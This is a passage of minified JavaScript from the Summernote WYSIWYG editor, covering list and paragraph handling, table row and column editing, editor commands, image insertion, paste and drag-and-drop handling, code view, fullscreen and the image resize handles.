r=N.head(i),s=N.last(i),a=o?Nt.lastAncestor(r,Nt.isList):r.parentNode,l=a.childNodes.length>1?Nt.splitTree(a,{node:s.parentNode,offset:Nt.position(s)+1},{isSkipPaddingBlankHTML:!0}):null,c=Nt.splitTree(a,{node:r.parentNode,offset:Nt.position(r)},{isSkipPaddingBlankHTML:!0});i=o?Nt.listDescendant(c,Nt.isLi):N.from(c.childNodes).filter(Nt.isLi),!o&&Nt.isList(a.parentNode)||(i=i.map(function(t){return Nt.replace(t,"P")})),t.each(N.from(i).reverse(),function(t,e){Nt.insertAfter(e,a)});var d=N.compact([a,c,l]);t.each(d,function(e,o){var n=[o].concat(Nt.listDescendant(o,Nt.isList));t.each(n.reverse(),function(t,e){Nt.nodeLength(e)||Nt.remove(e,!0)})}),n=n.concat(i)}),n},e}(),zt=function(){function e(){this.bullet=new Bt}return e.prototype.insertTab=function(t,e){var o=Nt.createText(new Array(e+1).join(Nt.NBSP_CHAR));(t=t.deleteContents()).insertNode(o,!0),(t=Ht.create(o,e)).select()},e.prototype.insertParagraph=function(e){var o=Ht.create(e);o=(o=o.deleteContents()).wrapBodyInlineWithPara();var n,i=Nt.ancestor(o.sc,Nt.isPara);if(i){if(Nt.isEmpty(i)&&Nt.isLi(i))return void this.bullet.toggleList(i.parentNode.nodeName);if(Nt.isEmpty(i)&&Nt.isPara(i)&&Nt.isBlockquote(i.parentNode))Nt.insertAfter(i,i.parentNode),n=i;else{n=Nt.splitTree(i,o.getStartPoint());var r=Nt.listDescendant(i,Nt.isEmptyAnchor);r=r.concat(Nt.listDescendant(n,Nt.isEmptyAnchor)),t.each(r,function(t,e){Nt.remove(e)}),(Nt.isHeading(n)||Nt.isPre(n)||Nt.isCustomStyleTag(n))&&Nt.isEmpty(n)&&(n=Nt.replace(n,"p"))}}else{var s=o.sc.childNodes[o.so];n=t(Nt.emptyPara)[0],s?o.sc.insertBefore(n,s):o.sc.appendChild(n)}Ht.create(n,0).normalize().select().scrollIntoView(e)},e}(),Mt=function(t,e,o,n){var i={colPos:0,rowPos:0},r=[],s=[];function a(t,e,o,n,i,s,a){var l={baseRow:o,baseCell:n,isRowSpan:i,isColSpan:s,isVirtual:a};r[t]||(r[t]=[]),r[t][e]=l}function l(t,e){if(!r[t])return e;if(!r[t][e])return e;for(var o=e;r[t][o];)if(o++,!r[t][o])return o}function c(t,e){var o=l(t.rowIndex,e.cellIndex),n=e.colSpan>1,r=e.rowSpan>1,s=t.rowIndex===i.rowPos&&e.cellIndex===i.colPos;a(t.rowIndex,o,t,e,r,n,!1);var c=e.attributes.rowSpan?parseInt(e.attributes.rowSpan.value,10):0;if(c>1)for(var u=1;u<c;u++){var h=t.rowIndex+u;d(h,o,e,s),a(h,o,t,e,!0,n,!0)}var p=e.attributes.colSpan?parseInt(e.attributes.colSpan.value,10):0;if(p>1)for(var f=1;f<p;f++){var m=l(t.rowIndex,o+f);d(t.rowIndex,m,e,s),a(t.rowIndex,m,t,e,r,!0,!0)}}function d(t,e,o,n){t===i.rowPos&&i.colPos>=o.cellIndex&&o.cellIndex<=e&&!n&&i.colPos++}function u(t){switch(e){case Mt.where.Column:if(t.isColSpan)return Mt.resultAction.SubtractSpanCount;break;case Mt.where.Row:if(!t.isVirtual&&t.isRowSpan)return Mt.resultAction.AddCell;if(t.isRowSpan)return Mt.resultAction.SubtractSpanCount}return Mt.resultAction.RemoveCell}function h(t){switch(e){case Mt.where.Column:if(t.isColSpan)return Mt.resultAction.SumSpanCount;if(t.isRowSpan&&t.isVirtual)return Mt.resultAction.Ignore;break;case Mt.where.Row:if(t.isRowSpan)return Mt.resultAction.SumSpanCount;if(t.isColSpan&&t.isVirtual)return Mt.resultAction.Ignore}return Mt.resultAction.AddCell}this.getActionList=function(){for(var t,n,a,l=e===Mt.where.Row?i.rowPos:-1,c=e===Mt.where.Column?i.colPos:-1,d=0,p=!0;p;){var f=l>=0?l:d,m=c>=0?c:d,g=r[f];if(!g)return p=!1,s;var v=g[m];if(!v)return p=!1,s;var b=Mt.resultAction.Ignore;switch(o){case Mt.requestAction.Add:b=h(v);break;case Mt.requestAction.Delete:b=u(v)}s.push((t=b,n=f,a=m,{baseCell:v.baseCell,action:t,virtualTable:{rowIndex:n,cellIndex:a}})),d++}return s},t&&t.tagName&&("td"===t.tagName.toLowerCase()||"th"===t.tagName.toLowerCase())?(i.colPos=t.cellIndex,t.parentElement&&t.parentElement.tagName&&"tr"===t.parentElement.tagName.toLowerCase()?i.rowPos=t.parentElement.rowIndex:console.error("Impossible to identify start Row point.",t)):console.error("Impossible to identify start Cell point.",t),function(){for(var t=n.rows,e=0;e<t.length;e++)for(var o=t[e].cells,i=0;i<o.length;i++)c(t[e],o[i])}()};Mt.where={Row:0,Column:1},Mt.requestAction={Add:0,Delete:1},Mt.resultAction={Ignore:0,SubtractSpanCount:1,RemoveCell:2,AddCell:3,SumSpanCount:4};var Ot,Ut=function(){function e(){}return e.prototype.tab=function(t,e){var o=Nt.ancestor(t.commonAncestor(),Nt.isCell),n=Nt.ancestor(o,Nt.isTable),i=Nt.listDescendant(n,Nt.isCell),r=N[e?"prev":"next"](i,o);r&&Ht.create(r,0).select()},e.prototype.addRow=function(e,o){for(var n=Nt.ancestor(e.commonAncestor(),Nt.isCell),i=t(n).closest("tr"),r=this.recoverAttributes(i),s=t("<tr"+r+"></tr>"),a=new Mt(n,Mt.where.Row,Mt.requestAction.Add,t(i).closest("table")[0]).getActionList(),l=0;l<a.length;l++){var c=a[l],d=this.recoverAttributes(c.baseCell);switch(c.action){case Mt.resultAction.AddCell:s.append("<td"+d+">"+Nt.blank+"</td>");break;case Mt.resultAction.SumSpanCount:if("top"===o)if((c.baseCell.parent?c.baseCell.closest("tr").rowIndex:0)<=i[0].rowIndex){var u=t("<div></div>").append(t("<td"+d+">"+Nt.blank+"</td>").removeAttr("rowspan")).html();s.append(u);break}var h=parseInt(c.baseCell.rowSpan,10);h++,c.baseCell.setAttribute("rowSpan",h)}}if("top"===o)i.before(s);else{if(n.rowSpan>1){var p=i[0].rowIndex+(n.rowSpan-2);return void t(t(i).parent().find("tr")[p]).after(t(s))}i.after(s)}},e.prototype.addCol=function(e,o){var n=Nt.ancestor(e.commonAncestor(),Nt.isCell),i=t(n).closest("tr");t(i).siblings().push(i);for(var r=new Mt(n,Mt.where.Column,Mt.requestAction.Add,t(i).closest("table")[0]).getActionList(),s=0;s<r.length;s++){var a=r[s],l=this.recoverAttributes(a.baseCell);switch(a.action){case Mt.resultAction.AddCell:"right"===o?t(a.baseCell).after("<td"+l+">"+Nt.blank+"</td>"):t(a.baseCell).before("<td"+l+">"+Nt.blank+"</td>");break;case Mt.resultAction.SumSpanCount:if("right"===o){var c=parseInt(a.baseCell.colSpan,10);c++,a.baseCell.setAttribute("colSpan",c)}else t(a.baseCell).before("<td"+l+">"+Nt.blank+"</td>")}}},e.prototype.recoverAttributes=function(t){var e="";if(!t)return e;for(var o=t.attributes||[],n=0;n<o.length;n++)"id"!==o[n].name.toLowerCase()&&o[n].specified&&(e+=" "+o[n].name+"='"+o[n].value+"'");return e},e.prototype.deleteRow=function(e){for(var o=Nt.ancestor(e.commonAncestor(),Nt.isCell),n=t(o).closest("tr"),i=n.children("td, th").index(t(o)),r=n[0].rowIndex,s=new Mt(o,Mt.where.Row,Mt.requestAction.Delete,t(n).closest("table")[0]).getActionList(),a=0;a<s.length;a++)if(s[a]){var l=s[a].baseCell,c=s[a].virtualTable,d=l.rowSpan&&l.rowSpan>1,u=d?parseInt(l.rowSpan,10):0;switch(s[a].action){case Mt.resultAction.Ignore:continue;case Mt.resultAction.AddCell:var h=n.next("tr")[0];if(!h)continue;var p=n[0].cells[i];d&&(u>2?(u--,h.insertBefore(p,h.cells[i]),h.cells[i].setAttribute("rowSpan",u),h.cells[i].innerHTML=""):2===u&&(h.insertBefore(p,h.cells[i]),h.cells[i].removeAttribute("rowSpan"),h.cells[i].innerHTML=""));continue;case Mt.resultAction.SubtractSpanCount:d&&(u>2?(u--,l.setAttribute("rowSpan",u),c.rowIndex!==r&&l.cellIndex===i&&(l.innerHTML="")):2===u&&(l.removeAttribute("rowSpan"),c.rowIndex!==r&&l.cellIndex===i&&(l.innerHTML="")));continue;case Mt.resultAction.RemoveCell:continue}}n.remove()},e.prototype.deleteCol=function(e){for(var o=Nt.ancestor(e.commonAncestor(),Nt.isCell),n=t(o).closest("tr"),i=n.children("td, th").index(t(o)),r=new Mt(o,Mt.where.Column,Mt.requestAction.Delete,t(n).closest("table")[0]).getActionList(),s=0;s<r.length;s++)if(r[s])switch(r[s].action){case Mt.resultAction.Ignore:continue;case Mt.resultAction.SubtractSpanCount:var a=r[s].baseCell;if(a.colSpan&&a.colSpan>1){var l=a.colSpan?parseInt(a.colSpan,10):0;l>2?(l--,a.setAttribute("colSpan",l),a.cellIndex===i&&(a.innerHTML="")):2===l&&(a.removeAttribute("colSpan"),a.cellIndex===i&&(a.innerHTML=""))}continue;case Mt.resultAction.RemoveCell:Nt.remove(r[s].baseCell,!0);continue}},e.prototype.createTable=function(e,o,n){for(var i,r=[],s=0;s<e;s++)r.push("<td>"+Nt.blank+"</td>");i=r.join("");for(var a,l=[],c=0;c<o;c++)l.push("<tr>"+i+"</tr>");a=l.join("");var d=t("<table>"+a+"</table>");return n&&n.tableClassName&&d.addClass(n.tableClassName),d[0]},e.prototype.deleteTable=function(e){var o=Nt.ancestor(e.commonAncestor(),Nt.isCell);t(o).closest("table").remove()},e}(),jt=function(){function e(e){var o=this;this.context=e,this.$note=e.layoutInfo.note,this.$editor=e.layoutInfo.editor,this.$editable=e.layoutInfo.editable,this.options=e.options,this.lang=this.options.langInfo,this.editable=this.$editable[0],this.lastRange=null,this.style=new Ft,this.table=new Ut,this.typing=new zt,this.bullet=new Bt,this.history=new Dt(this.$editable),this.context.memo("help.undo",this.lang.help.undo),this.context.memo("help.redo",this.lang.help.redo),this.context.memo("help.tab",this.lang.help.tab),this.context.memo("help.untab",this.lang.help.untab),this.context.memo("help.insertParagraph",this.lang.help.insertParagraph),this.context.memo("help.insertOrderedList",this.lang.help.insertOrderedList),this.context.memo("help.insertUnorderedList",this.lang.help.insertUnorderedList),this.context.memo("help.indent",this.lang.help.indent),this.context.memo("help.outdent",this.lang.help.outdent),this.context.memo("help.formatPara",this.lang.help.formatPara),this.context.memo("help.insertHorizontalRule",this.lang.help.insertHorizontalRule),this.context.memo("help.fontName",this.lang.help.fontName);for(var n=["bold","italic","underline","strikethrough","superscript","subscript","justifyLeft","justifyCenter","justifyRight","justifyFull","formatBlock","removeFormat","backColor"],i=0,r=n.length;i<r;i++)this[n[i]]=function(t){return function(e){o.beforeCommand(),document.execCommand(t,!1,e),o.afterCommand(!0)}}(n[i]),this.context.memo("help."+n[i],this.lang.help[n[i]]);this.fontName=this.wrapCommand(function(t){return o.fontStyling("font-family","'"+t+"'")}),this.fontSize=this.wrapCommand(function(t){return o.fontStyling("font-size",t+"px")});for(i=1;i<=6;i++)this["formatH"+i]=function(t){return function(){o.formatBlock("H"+t)}}(i),this.context.memo("help.formatH"+i,this.lang.help["formatH"+i]);this.insertParagraph=this.wrapCommand(function(){o.typing.insertParagraph(o.editable)}),this.insertOrderedList=this.wrapCommand(function(){o.bullet.insertOrderedList(o.editable)}),this.insertUnorderedList=this.wrapCommand(function(){o.bullet.insertUnorderedList(o.editable)}),this.indent=this.wrapCommand(function(){o.bullet.indent(o.editable)}),this.outdent=this.wrapCommand(function(){o.bullet.outdent(o.editable)}),this.insertNode=this.wrapCommand(function(e){o.isLimited(t(e).text().length)||(o.createRange().insertNode(e),Ht.createFromNodeAfter(e).select())}),this.insertText=this.wrapCommand(function(t){if(!o.isLimited(t.length)){var e=o.createRange().insertNode(Nt.createText(t));Ht.create(e,Nt.nodeLength(e)).select()}}),this.pasteHTML=this.wrapCommand(function(t){if(!o.isLimited(t.length)){var e=o.createRange().pasteHTML(t);Ht.createFromNodeAfter(N.last(e)).select()}}),this.formatBlock=this.wrapCommand(function(t,e){var n=o.options.callbacks.onApplyCustomStyle;n?n.call(o,e,o.context,o.onFormatBlock):o.onFormatBlock(t,e)}),this.insertHorizontalRule=this.wrapCommand(function(){var t=o.createRange().insertNode(Nt.create("HR"));t.nextSibling&&Ht.create(t.nextSibling,0).normalize().select()}),this.lineHeight=this.wrapCommand(function(t){o.style.stylePara(o.createRange(),{lineHeight:t})}),this.createLink=this.wrapCommand(function(e){var n=e.url,i=e.text,r=e.isNewWindow,s=e.range||o.createRange(),a=s.toString()!==i;"string"==typeof n&&(n=n.trim()),n=o.options.onCreateLink?o.options.onCreateLink(n):/^[A-Za-z][A-Za-z0-9+-.]*\:[\/\/]?/.test(n)?n:"http://"+n;var l=[];if(a){var c=(s=s.deleteContents()).insertNode(t("<A>"+i+"</A>")[0]);l.push(c)}else l=o.style.styleNodes(s,{nodeName:"A",expandClosestSibling:!0,onlyPartialContains:!0});t.each(l,function(e,o){t(o).attr("href",n),r?t(o).attr("target","_blank"):t(o).removeAttr("target")});var d=Ht.createFromNodeBefore(N.head(l)).getStartPoint(),u=Ht.createFromNodeAfter(N.last(l)).getEndPoint();Ht.create(d.node,d.offset,u.node,u.offset).select()}),this.color=this.wrapCommand(function(t){var e=t.foreColor,o=t.backColor;e&&document.execCommand("foreColor",!1,e),o&&document.execCommand("backColor",!1,o)}),this.foreColor=this.wrapCommand(function(t){document.execCommand("styleWithCSS",!1,!0),document.execCommand("foreColor",!1,t)}),this.insertTable=this.wrapCommand(function(t){var e=t.split("x");o.createRange().deleteContents().insertNode(o.table.createTable(e[0],e[1],o.options))}),this.removeMedia=this.wrapCommand(function(){var e=t(o.restoreTarget()).parent();e.parent("figure").length?e.parent("figure").remove():e=t(o.restoreTarget()).detach(),o.context.triggerEvent("media.delete",e,o.$editable)}),this.floatMe=this.wrapCommand(function(e){var n=t(o.restoreTarget());n.toggleClass("note-float-left","left"===e),n.toggleClass("note-float-right","right"===e),n.css("float",e)}),this.resize=this.wrapCommand(function(e){t(o.restoreTarget()).css({width:100*e+"%",height:""})})}return e.prototype.initialize=function(){var t=this;this.$editable.on("keydown",function(e){if(e.keyCode===At.code.ENTER&&t.context.triggerEvent("enter",e),t.context.triggerEvent("keydown",e),e.isDefaultPrevented()||(t.options.shortcuts?t.handleKeyMap(e):t.preventDefaultEditableShortCuts(e)),t.isLimited(1,e))return!1}).on("keyup",function(e){t.context.triggerEvent("keyup",e)}).on("focus",function(e){t.context.triggerEvent("focus",e)}).on("blur",function(e){t.context.triggerEvent("blur",e)}).on("mousedown",function(e){t.context.triggerEvent("mousedown",e)}).on("mouseup",function(e){t.context.triggerEvent("mouseup",e)}).on("scroll",function(e){t.context.triggerEvent("scroll",e)}).on("paste",function(e){t.context.triggerEvent("paste",e)}),this.$editable.html(Nt.html(this.$note)||Nt.emptyPara),this.$editable.on(z.inputEventName,C.debounce(function(){t.context.triggerEvent("change",t.$editable.html())},100)),this.$editor.on("focusin",function(e){t.context.triggerEvent("focusin",e)}).on("focusout",function(e){t.context.triggerEvent("focusout",e)}),this.options.airMode||(this.options.width&&this.$editor.outerWidth(this.options.width),this.options.height&&this.$editable.outerHeight(this.options.height),this.options.maxHeight&&this.$editable.css("max-height",this.options.maxHeight),this.options.minHeight&&this.$editable.css("min-height",this.options.minHeight)),this.history.recordUndo()},e.prototype.destroy=function(){this.$editable.off()},e.prototype.handleKeyMap=function(t){var e=this.options.keyMap[z.isMac?"mac":"pc"],o=[];t.metaKey&&o.push("CMD"),t.ctrlKey&&!t.altKey&&o.push("CTRL"),t.shiftKey&&o.push("SHIFT");var n=At.nameFromCode[t.keyCode];n&&o.push(n);var i=e[o.join("+")];i?!1!==this.context.invoke(i)&&t.preventDefault():At.isEdit(t.keyCode)&&this.afterCommand()},e.prototype.preventDefaultEditableShortCuts=function(t){(t.ctrlKey||t.metaKey)&&N.contains([66,73,85],t.keyCode)&&t.preventDefault()},e.prototype.isLimited=function(t,e){return t=t||0,(void 0===e||!(At.isMove(e.keyCode)||e.ctrlKey||e.metaKey||N.contains([At.code.BACKSPACE,At.code.DELETE],e.keyCode)))&&(this.options.maxTextLength>0&&this.$editable.text().length+t>=this.options.maxTextLength)},e.prototype.createRange=function(){return this.focus(),Ht.create(this.editable)},e.prototype.saveRange=function(t){this.lastRange=this.createRange(),t&&this.lastRange.collapse().select()},e.prototype.restoreRange=function(){this.lastRange&&(this.lastRange.select(),this.focus())},e.prototype.saveTarget=function(t){this.$editable.data("target",t)},e.prototype.clearTarget=function(){this.$editable.removeData("target")},e.prototype.restoreTarget=function(){return this.$editable.data("target")},e.prototype.currentStyle=function(){var t=Ht.create();return t&&(t=t.normalize()),t?this.style.current(t):this.style.fromNode(this.$editable)},e.prototype.styleFromNode=function(t){return this.style.fromNode(t)},e.prototype.undo=function(){this.context.triggerEvent("before.command",this.$editable.html()),this.history.undo(),this.context.triggerEvent("change",this.$editable.html())},e.prototype.redo=function(){this.context.triggerEvent("before.command",this.$editable.html()),this.history.redo(),this.context.triggerEvent("change",this.$editable.html())},e.prototype.beforeCommand=function(){this.context.triggerEvent("before.command",this.$editable.html()),this.focus()},e.prototype.afterCommand=function(t){this.normalizeContent(),this.history.recordUndo(),t||this.context.triggerEvent("change",this.$editable.html())},e.prototype.tab=function(){var t=this.createRange();if(t.isCollapsed()&&t.isOnCell())this.table.tab(t);else{if(0===this.options.tabSize)return!1;this.isLimited(this.options.tabSize)||(this.beforeCommand(),this.typing.insertTab(t,this.options.tabSize),this.afterCommand())}},e.prototype.untab=function(){var t=this.createRange();if(t.isCollapsed()&&t.isOnCell())this.table.tab(t,!0);else if(0===this.options.tabSize)return!1},e.prototype.wrapCommand=function(t){var e=this;return function(){e.beforeCommand(),t.apply(e,arguments),e.afterCommand()}},e.prototype.insertImage=function(e,o){var n,i=this;return(n=e,t.Deferred(function(e){var o=t("<img>");o.one("load",function(){o.off("error abort"),e.resolve(o)}).one("error abort",function(){o.off("load").detach(),e.reject(o)}).css({display:"none"}).appendTo(document.body).attr("src",n)}).promise()).then(function(t){i.beforeCommand(),"function"==typeof o?o(t):("string"==typeof o&&t.attr("data-filename",o),t.css("width",Math.min(i.$editable.width(),t.width()))),t.show(),Ht.create(i.editable).insertNode(t[0]),Ht.createFromNodeAfter(t[0]).select(),i.afterCommand()}).fail(function(t){i.context.triggerEvent("image.upload.error",t)})},e.prototype.insertImages=function(e){var o=this;t.each(e,function(e,n){var i,r=n.name;o.options.maximumImageFileSize&&o.options.maximumImageFileSize<n.size?o.context.triggerEvent("image.upload.error",o.lang.image.maximumFileSizeError):(i=n,t.Deferred(function(e){t.extend(new FileReader,{onload:function(t){var o=t.target.result;e.resolve(o)},onerror:function(t){e.reject(t)}}).readAsDataURL(i)}).promise()).then(function(t){return o.insertImage(t,r)}).fail(function(){o.context.triggerEvent("image.upload.error")})})},e.prototype.insertImagesOrCallback=function(t){this.options.callbacks.onImageUpload?this.context.triggerEvent("image.upload",t):this.insertImages(t)},e.prototype.getSelectedText=function(){var t=this.createRange();return t.isOnAnchor()&&(t=Ht.createFromNode(Nt.ancestor(t.sc,Nt.isAnchor))),t.toString()},e.prototype.onFormatBlock=function(e,o){if(e=z.isMSIE?"<"+e+">":e,document.execCommand("FormatBlock",!1,e),o&&o.length){var n=o[0].className||"";if(n){var i=this.createRange();t([i.sc,i.ec]).closest(e).addClass(n)}}},e.prototype.formatPara=function(){this.formatBlock("P")},e.prototype.fontStyling=function(e,o){var n=this.createRange();if(n){var i=this.style.styleNodes(n);if(t(i).css(e,o),n.isCollapsed()){var r=N.head(i);r&&!Nt.nodeLength(r)&&(r.innerHTML=Nt.ZERO_WIDTH_NBSP_CHAR,Ht.createFromNodeAfter(r.firstChild).select(),this.$editable.data("bogus",r))}}},e.prototype.unlink=function(){var t=this.createRange();if(t.isOnAnchor()){var e=Nt.ancestor(t.sc,Nt.isAnchor);(t=Ht.createFromNode(e)).select(),this.beforeCommand(),document.execCommand("unlink"),this.afterCommand()}},e.prototype.getLinkInfo=function(){var e=this.createRange().expand(Nt.isAnchor),o=t(N.head(e.nodes(Nt.isAnchor))),n={range:e,text:e.toString(),url:o.length?o.attr("href"):""};return o.length&&(n.isNewWindow="_blank"===o.attr("target")),n},e.prototype.addRow=function(t){var e=this.createRange(this.$editable);e.isCollapsed()&&e.isOnCell()&&(this.beforeCommand(),this.table.addRow(e,t),this.afterCommand())},e.prototype.addCol=function(t){var e=this.createRange(this.$editable);e.isCollapsed()&&e.isOnCell()&&(this.beforeCommand(),this.table.addCol(e,t),this.afterCommand())},e.prototype.deleteRow=function(){var t=this.createRange(this.$editable);t.isCollapsed()&&t.isOnCell()&&(this.beforeCommand(),this.table.deleteRow(t),this.afterCommand())},e.prototype.deleteCol=function(){var t=this.createRange(this.$editable);t.isCollapsed()&&t.isOnCell()&&(this.beforeCommand(),this.table.deleteCol(t),this.afterCommand())},e.prototype.deleteTable=function(){var t=this.createRange(this.$editable);t.isCollapsed()&&t.isOnCell()&&(this.beforeCommand(),this.table.deleteTable(t),this.afterCommand())},e.prototype.resizeTo=function(t,e,o){var n;if(o){var i=t.y/t.x,r=e.data("ratio");n={width:r>i?t.x:t.y/r,height:r>i?t.x*r:t.y}}else n={width:t.x,height:t.y};e.css(n)},e.prototype.hasFocus=function(){return this.$editable.is(":focus")},e.prototype.focus=function(){this.hasFocus()||this.$editable.focus()},e.prototype.isEmpty=function(){return Nt.isEmpty(this.$editable[0])||Nt.emptyPara===this.$editable.html()},e.prototype.empty=function(){this.context.invoke("code",Nt.emptyPara)},e.prototype.normalizeContent=function(){this.$editable[0].normalize()},e}(),qt=function(){function t(t){this.context=t,this.$editable=t.layoutInfo.editable}return t.prototype.initialize=function(){this.$editable.on("paste",this.pasteByEvent.bind(this))},t.prototype.pasteByEvent=function(t){var e=t.originalEvent.clipboardData;if(e&&e.items&&e.items.length){var o=N.head(e.items);"file"===o.kind&&-1!==o.type.indexOf("image/")&&this.context.invoke("editor.insertImagesOrCallback",[o.getAsFile()]),this.context.invoke("editor.afterCommand")}},t}(),Kt=function(){function e(e){this.context=e,this.$eventListener=t(document),this.$editor=e.layoutInfo.editor,this.$editable=e.layoutInfo.editable,this.options=e.options,this.lang=this.options.langInfo,this.documentEventHandlers={},this.$dropzone=t(['<div class="note-dropzone">','  <div class="note-dropzone-message"/>',"</div>"].join("")).prependTo(this.$editor)}return e.prototype.initialize=function(){this.options.disableDragAndDrop?(this.documentEventHandlers.onDrop=function(t){t.preventDefault()},this.$eventListener=this.$dropzone,this.$eventListener.on("drop",this.documentEventHandlers.onDrop)):this.attachDragAndDropEvent()},e.prototype.attachDragAndDropEvent=function(){var e=this,o=t(),n=this.$dropzone.find(".note-dropzone-message");this.documentEventHandlers.onDragenter=function(t){var i=e.context.invoke("codeview.isActivated"),r=e.$editor.width()>0&&e.$editor.height()>0;i||o.length||!r||(e.$editor.addClass("dragover"),e.$dropzone.width(e.$editor.width()),e.$dropzone.height(e.$editor.height()),n.text(e.lang.image.dragImageHere)),o=o.add(t.target)},this.documentEventHandlers.onDragleave=function(t){(o=o.not(t.target)).length||e.$editor.removeClass("dragover")},this.documentEventHandlers.onDrop=function(){o=t(),e.$editor.removeClass("dragover")},this.$eventListener.on("dragenter",this.documentEventHandlers.onDragenter).on("dragleave",this.documentEventHandlers.onDragleave).on("drop",this.documentEventHandlers.onDrop),this.$dropzone.on("dragenter",function(){e.$dropzone.addClass("hover"),n.text(e.lang.image.dropImage)}).on("dragleave",function(){e.$dropzone.removeClass("hover"),n.text(e.lang.image.dragImageHere)}),this.$dropzone.on("drop",function(o){var n=o.originalEvent.dataTransfer;o.preventDefault(),n&&n.files&&n.files.length?(e.$editable.focus(),e.context.invoke("editor.insertImagesOrCallback",n.files)):t.each(n.types,function(o,i){var r=n.getData(i);i.toLowerCase().indexOf("text")>-1?e.context.invoke("editor.pasteHTML",r):t(r).each(function(t,o){e.context.invoke("editor.insertNode",o)})})}).on("dragover",!1)},e.prototype.destroy=function(){var t=this;Object.keys(this.documentEventHandlers).forEach(function(e){t.$eventListener.off(e.substr(2).toLowerCase(),t.documentEventHandlers[e])}),this.documentEventHandlers={}},e}();z.hasCodeMirror&&(z.isSupportAmd?require(["codemirror"],function(t){Ot=t}):Ot=window.CodeMirror);var Vt=function(){function t(t){this.context=t,this.$editor=t.layoutInfo.editor,this.$editable=t.layoutInfo.editable,this.$codable=t.layoutInfo.codable,this.options=t.options}return t.prototype.sync=function(){this.isActivated()&&z.hasCodeMirror&&this.$codable.data("cmEditor").save()},t.prototype.isActivated=function(){return this.$editor.hasClass("codeview")},t.prototype.toggle=function(){this.isActivated()?this.deactivate():this.activate(),this.context.triggerEvent("codeview.toggled")},t.prototype.activate=function(){var t=this;if(this.$codable.val(Nt.html(this.$editable,this.options.prettifyHtml)),this.$codable.height(this.$editable.height()),this.context.invoke("toolbar.updateCodeview",!0),this.$editor.addClass("codeview"),this.$codable.focus(),z.hasCodeMirror){var e=Ot.fromTextArea(this.$codable[0],this.options.codemirror);if(this.options.codemirror.tern){var o=new Ot.TernServer(this.options.codemirror.tern);e.ternServer=o,e.on("cursorActivity",function(t){o.updateArgHints(t)})}e.on("blur",function(o){t.context.triggerEvent("blur.codeview",e.getValue(),o)}),e.setSize(null,this.$editable.outerHeight()),this.$codable.data("cmEditor",e)}else this.$codable.on("blur",function(e){t.context.triggerEvent("blur.codeview",t.$codable.val(),e)})},t.prototype.deactivate=function(){if(z.hasCodeMirror){var t=this.$codable.data("cmEditor");this.$codable.val(t.getValue()),t.toTextArea()}var e=Nt.value(this.$codable,this.options.prettifyHtml)||Nt.emptyPara,o=this.$editable.html()!==e;this.$editable.html(e),this.$editable.height(this.options.height?this.$codable.height():"auto"),this.$editor.removeClass("codeview"),o&&this.context.triggerEvent("change",this.$editable.html(),this.$editable),this.$editable.focus(),this.context.invoke("toolbar.updateCodeview",!1)},t.prototype.destroy=function(){this.isActivated()&&this.deactivate()},t}(),Wt=function(){function e(e){this.$document=t(document),this.$statusbar=e.layoutInfo.statusbar,this.$editable=e.layoutInfo.editable,this.options=e.options}return e.prototype.initialize=function(){var t=this;this.options.airMode||this.options.disableResizeEditor?this.destroy():this.$statusbar.on("mousedown",function(e){e.preventDefault(),e.stopPropagation();var o=t.$editable.offset().top-t.$document.scrollTop(),n=function(e){var n=e.clientY-(o+24);n=t.options.minheight>0?Math.max(n,t.options.minheight):n,n=t.options.maxHeight>0?Math.min(n,t.options.maxHeight):n,t.$editable.height(n)};t.$document.on("mousemove",n).one("mouseup",function(){t.$document.off("mousemove",n)})})},e.prototype.destroy=function(){this.$statusbar.off(),this.$statusbar.addClass("locked")},e}(),Gt=function(){function e(e){var o=this;this.context=e,this.$editor=e.layoutInfo.editor,this.$toolbar=e.layoutInfo.toolbar,this.$editable=e.layoutInfo.editable,this.$codable=e.layoutInfo.codable,this.$window=t(window),this.$scrollbar=t("html, body"),this.onResize=function(){o.resizeTo({h:o.$window.height()-o.$toolbar.outerHeight()})}}return e.prototype.resizeTo=function(t){this.$editable.css("height",t.h),this.$codable.css("height",t.h),this.$codable.data("cmeditor")&&this.$codable.data("cmeditor").setsize(null,t.h)},e.prototype.toggle=function(){this.$editor.toggleClass("fullscreen"),this.isFullscreen()?(this.$editable.data("orgHeight",this.$editable.css("height")),this.$window.on("resize",this.onResize).trigger("resize"),this.$scrollbar.css("overflow","hidden")):(this.$window.off("resize",this.onResize),this.resizeTo({h:this.$editable.data("orgHeight")}),this.$scrollbar.css("overflow","visible")),this.context.invoke("toolbar.updateFullscreen",this.isFullscreen())},e.prototype.isFullscreen=function(){return this.$editor.hasClass("fullscreen")},e}(),_t=function(){function e(e){var o=this;this.context=e,this.$document=t(document),this.$editingArea=e.layoutInfo.editingArea,this.options=e.options,this.lang=this.options.langInfo,this.events={"summernote.mousedown":function(t,e){o.update(e.target)&&e.preventDefault()},"summernote.keyup summernote.scroll summernote.change summernote.dialog.shown":function(){o.update()},"summernote.disable":function(){o.hide()},"summernote.codeview.toggled":function(){o.update()}}}return e.prototype.initialize=function(){var e=this;this.$handle=t(['<div class="note-handle">','<div class="note-control-selection">','<div class="note-control-selection-bg"></div>','<div class="note-control-holder note-control-nw"></div>','<div class="note-control-holder note-control-ne"></div>','<div class="note-control-holder note-control-sw"></div>','<div class="',this.options.disableResizeImage?"note-control-holder":"note-control-sizing",' note-control-se"></div>',this.options.disableResizeImage?"":'<div class="note-control-selection-info"></div>',"</div>","</div>"].join("")).prependTo(this.$editingArea),this.$handle.on("mousedown",function(t){if(Nt.isControlSizing(t.target)){t.preventDefault(),t.stopPropagation();var o=e.$handle.find(".note-control-selection").data("target"),n=o.offset(),i=e.$document.scrollTop(),r=function(t){e.context.invoke("editor.resizeTo",{x:t.clientX-n.left,y:t.clientY-(n.top-i)},o,!t.shiftKey),e.update(o[0])};e.$document.on("mousemove",r).one("mouseup",function(t){t.preventDefault(),e.$document.off("mousemove",r),e.context.invoke("editor.afterCommand")}),o.data("ratio")||o.data("ratio",o.height()/o.width())}}),this.$handle.on("wheel",function(t){t.preventDefault(),e.update()})},e.prototype.destroy=function(){this.$handle.remove()},e.prototype.update=function(e){if(this.context.isDisabled())return!1;var o=Nt.isImg(e),n=this.$handle.find(".note-control-selection");if(this.context.invoke("imagePopover.update",e),o){var i=t(e),r=i.position(),s={left:r.left+parseInt(i.css("marginLeft"),10),top:r.top+parseInt(i.css("marginTop"),10)},a={w:i.outerWidth(!1),h:i.outerHeight(!1)};n.css({display:"block",left:s.left,top:s.top,width:a.w,height:a.h}).data("target",i);var l=new Image;l.src=i.attr("src");var c=a.w+"x"+a.h+" ("+this.lang.image.original+": 